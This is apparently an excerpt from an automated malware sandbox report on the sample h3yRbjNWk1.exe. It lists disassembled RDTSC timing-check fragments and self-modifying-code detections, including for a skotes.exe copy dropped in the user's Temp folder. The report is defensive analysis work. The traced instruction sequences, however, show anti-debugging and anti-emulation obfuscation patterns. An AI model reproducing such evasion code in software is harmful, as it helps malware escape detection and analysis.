Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70980 second address: 4C709BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F97B4EC49C8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C709BA second address: 4C709C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C709C0 second address: 4C70A46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, si 0x00000006 mov di, cx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e mov edi, 58469C86h 0x00000013 jmp 00007F97B4EC49C7h 0x00000018 popad 0x00000019 xchg eax, ebx 0x0000001a jmp 00007F97B4EC49C6h 0x0000001f xchg eax, esi 0x00000020 pushad 0x00000021 pushad 0x00000022 jmp 00007F97B4EC49BCh 0x00000027 mov eax, 6546DF21h 0x0000002c popad 0x0000002d mov edi, eax 0x0000002f popad 0x00000030 push eax 0x00000031 jmp 00007F97B4EC49C3h 0x00000036 xchg eax, esi 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F97B4EC49C5h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70A46 second address: 4C70AA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F97B4F2EDCCh 0x00000013 adc si, F978h 0x00000018 jmp 00007F97B4F2EDCBh 0x0000001d popfd 0x0000001e push eax 0x0000001f push edx 0x00000020 pushfd 0x00000021 jmp 00007F97B4F2EDD6h 0x00000026 add esi, 60AD93D8h 0x0000002c jmp 00007F97B4F2EDCBh 0x00000031 popfd 0x00000032 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70AA8 second address: 4C70AB7 instructions: 0x00000000 rdtsc 0x00000002 mov bx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 sub ebx, ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov dl, 67h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70AB7 second address: 4C70ABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70ABB second address: 4C70AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov edi, esi 0x00000008 popad 0x00000009 test esi, esi 0x0000000b jmp 00007F97B4EC49C0h 0x00000010 je 00007F982717A26Eh 0x00000016 pushad 0x00000017 mov ecx, ebx 0x00000019 popad 0x0000001a cmp dword ptr [esi+08h], DDEEDDEEh 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push ecx 0x00000025 pop ebx 0x00000026 mov ebx, ecx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70AEF second address: 4C70AF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70AF5 second address: 4C70B1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F97B4EC49C5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70B1F second address: 4C70B2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F97B4F2EDCCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70B2F second address: 4C70B33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70B33 second address: 4C70B4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F98271E462Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 movzx ecx, di 0x00000014 mov bx, 4C88h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70B4C second address: 4C70B5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F97B4EC49BDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70B5D second address: 4C70B82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test byte ptr [76FB6968h], 00000002h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push edi 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70B82 second address: 4C70B87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70B87 second address: 4C70B8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70B8D second address: 4C70B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70B91 second address: 4C70BA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F98271E45E3h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70BA7 second address: 4C70BB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F97B4EC49BDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70BB8 second address: 4C70C02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+0Ch] 0x0000000e jmp 00007F97B4F2EDCEh 0x00000013 xchg eax, ebx 0x00000014 jmp 00007F97B4F2EDD0h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F97B4F2EDCEh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70C02 second address: 4C70C91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F97B4EC49C1h 0x00000009 and ecx, 7395A926h 0x0000000f jmp 00007F97B4EC49C1h 0x00000014 popfd 0x00000015 push ecx 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebx 0x0000001b jmp 00007F97B4EC49BAh 0x00000020 xchg eax, ebx 0x00000021 jmp 00007F97B4EC49C0h 0x00000026 push eax 0x00000027 pushad 0x00000028 mov ax, di 0x0000002b mov eax, edi 0x0000002d popad 0x0000002e xchg eax, ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 jmp 00007F97B4EC49C0h 0x00000037 pushfd 0x00000038 jmp 00007F97B4EC49C2h 0x0000003d and ax, 9F88h 0x00000042 jmp 00007F97B4EC49BBh 0x00000047 popfd 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70C91 second address: 4C70CCB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+14h] 0x0000000c jmp 00007F97B4F2EDCEh 0x00000011 push dword ptr [ebp+10h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov bl, 8Fh 0x00000019 mov bx, cx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70D28 second address: 4C70D4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F97B4EC49BDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70D4D second address: 4C70D69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F97B4F2EDD7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C80D8D second address: 4C80D91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C80D91 second address: 4C80D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C80B53 second address: 4C80BAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F97B4EC49BFh 0x00000009 and ecx, 5C0E5A7Eh 0x0000000f jmp 00007F97B4EC49C9h 0x00000014 popfd 0x00000015 jmp 00007F97B4EC49C0h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F97B4EC49BDh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C80BAB second address: 4C80BB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CF0F0E second address: 4CF0F54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F97B4EC49C9h 0x0000000c and cl, 00000006h 0x0000000f jmp 00007F97B4EC49C1h 0x00000014 popfd 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F97B4EC49BDh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CF0F54 second address: 4CF0F74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, bl 0x00000005 mov dx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F97B4F2EDD1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CF0474 second address: 4CF0537 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F97B4EC49BEh 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F97B4EC49C1h 0x00000017 add esi, 149150D6h 0x0000001d jmp 00007F97B4EC49C1h 0x00000022 popfd 0x00000023 mov eax, 78023C47h 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a jmp 00007F97B4EC49BAh 0x0000002f mov ebp, esp 0x00000031 pushad 0x00000032 movzx esi, dx 0x00000035 mov eax, edi 0x00000037 popad 0x00000038 pop ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c pushfd 0x0000003d jmp 00007F97B4EC49BEh 0x00000042 xor ecx, 6CB3B158h 0x00000048 jmp 00007F97B4EC49BBh 0x0000004d popfd 0x0000004e pushfd 0x0000004f jmp 00007F97B4EC49C8h 0x00000054 sub ecx, 5A62BBB8h 0x0000005a jmp 00007F97B4EC49BBh 0x0000005f popfd 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CF0537 second address: 4CF053D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CF053D second address: 4CF0541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CF02EE second address: 4CF0365 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F97B4F2EDCFh 0x00000009 and ecx, 4113242Eh 0x0000000f jmp 00007F97B4F2EDD9h 0x00000014 popfd 0x00000015 movzx eax, bx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c jmp 00007F97B4F2EDCAh 0x00000021 xchg eax, ebp 0x00000022 jmp 00007F97B4F2EDD0h 0x00000027 mov ebp, esp 0x00000029 pushad 0x0000002a call 00007F97B4F2EDCEh 0x0000002f pushad 0x00000030 popad 0x00000031 pop eax 0x00000032 mov edi, 501278B4h 0x00000037 popad 0x00000038 pop ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c movzx eax, dx 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CF0365 second address: 4CF036B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C9016E second address: 4C901B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F97B4F2EDCAh 0x00000013 jmp 00007F97B4F2EDD5h 0x00000018 popfd 0x00000019 jmp 00007F97B4F2EDD0h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C901B9 second address: 4C901DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ecx, 4CA7900Bh 0x00000010 movzx eax, di 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C901DB second address: 4C901E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C901E1 second address: 4C901EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F97B4EC49BAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C901EF second address: 4C901F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C901F3 second address: 4C90202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C90202 second address: 4C9021A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C9021A second address: 4C90220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C90220 second address: 4C90224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CF0712 second address: 4CF0716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CF0716 second address: 4CF071C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CF071C second address: 4CF0754 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F97B4EC49C0h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F97B4EC49BEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CF0754 second address: 4CF075A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CF075A second address: 4CF075E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CF075E second address: 4CF0762 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CF0762 second address: 4CF0806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F97B4EC49BFh 0x00000010 sub esi, 3001680Eh 0x00000016 jmp 00007F97B4EC49C9h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F97B4EC49C0h 0x00000022 add cx, C688h 0x00000027 jmp 00007F97B4EC49BBh 0x0000002c popfd 0x0000002d popad 0x0000002e mov ebp, esp 0x00000030 jmp 00007F97B4EC49C6h 0x00000035 push dword ptr [ebp+0Ch] 0x00000038 jmp 00007F97B4EC49C0h 0x0000003d push dword ptr [ebp+08h] 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F97B4EC49C7h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CF0806 second address: 4CF0834 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ABE39F41h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F97B4F2EDCAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CF0834 second address: 4CF083A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D915E second address: 9D918A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F97B4F2EDD4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA073E second address: 4CA0743 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA0743 second address: 4CA0772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F97B4F2EDD4h 0x0000000f mov dword ptr [esp], ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F97B4F2EDCAh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA0772 second address: 4CA0776 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA0776 second address: 4CA077C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA077C second address: 4CA0782 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA0782 second address: 4CA0786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA0786 second address: 4CA08A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F97B4EC49C0h 0x00000012 push FFFFFFFEh 0x00000014 pushad 0x00000015 mov ecx, 289E384Dh 0x0000001a mov ecx, 6EA30C49h 0x0000001f popad 0x00000020 call 00007F97B4EC49B9h 0x00000025 pushad 0x00000026 call 00007F97B4EC49C2h 0x0000002b mov bl, al 0x0000002d pop ebx 0x0000002e call 00007F97B4EC49BCh 0x00000033 pushfd 0x00000034 jmp 00007F97B4EC49C2h 0x00000039 add ax, 08F8h 0x0000003e jmp 00007F97B4EC49BBh 0x00000043 popfd 0x00000044 pop eax 0x00000045 popad 0x00000046 push eax 0x00000047 pushad 0x00000048 jmp 00007F97B4EC49C4h 0x0000004d pushfd 0x0000004e jmp 00007F97B4EC49C2h 0x00000053 adc cl, FFFFFF88h 0x00000056 jmp 00007F97B4EC49BBh 0x0000005b popfd 0x0000005c popad 0x0000005d mov eax, dword ptr [esp+04h] 0x00000061 pushad 0x00000062 pushfd 0x00000063 jmp 00007F97B4EC49BFh 0x00000068 and ch, FFFFFFCEh 0x0000006b jmp 00007F97B4EC49C9h 0x00000070 popfd 0x00000071 jmp 00007F97B4EC49C0h 0x00000076 popad 0x00000077 mov eax, dword ptr [eax] 0x00000079 push eax 0x0000007a push edx 0x0000007b jmp 00007F97B4EC49BEh 0x00000080 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA08A3 second address: 4CA08D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007F97B4F2EDD9h 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA08D6 second address: 4CA08DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA08DC second address: 4CA091C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F97B4F2EDD0h 0x00000009 and ah, 00000038h 0x0000000c jmp 00007F97B4F2EDCBh 0x00000011 popfd 0x00000012 push ecx 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push 56DC22FBh 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f call 00007F97B4F2EDCCh 0x00000024 pop eax 0x00000025 mov bh, 9Dh 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA091C second address: 4CA096D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F97B4EC49C3h 0x00000008 movzx ecx, bx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e add dword ptr [esp], 20148B05h 0x00000015 jmp 00007F97B4EC49BBh 0x0000001a mov eax, dword ptr fs:[00000000h] 0x00000020 jmp 00007F97B4EC49C6h 0x00000025 nop 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA096D second address: 4CA0971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Special instruction interceptor: First address: 82E854 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Special instruction interceptor: First address: 82E8C5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Special instruction interceptor: First address: 9F4C2D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Special instruction interceptor: First address: 9DF63F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Special instruction interceptor: First address: A509B6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: ABE854 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: ABE8C5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C84C2D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C6F63F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CE09B6 instructions caused by: Self-modifying code
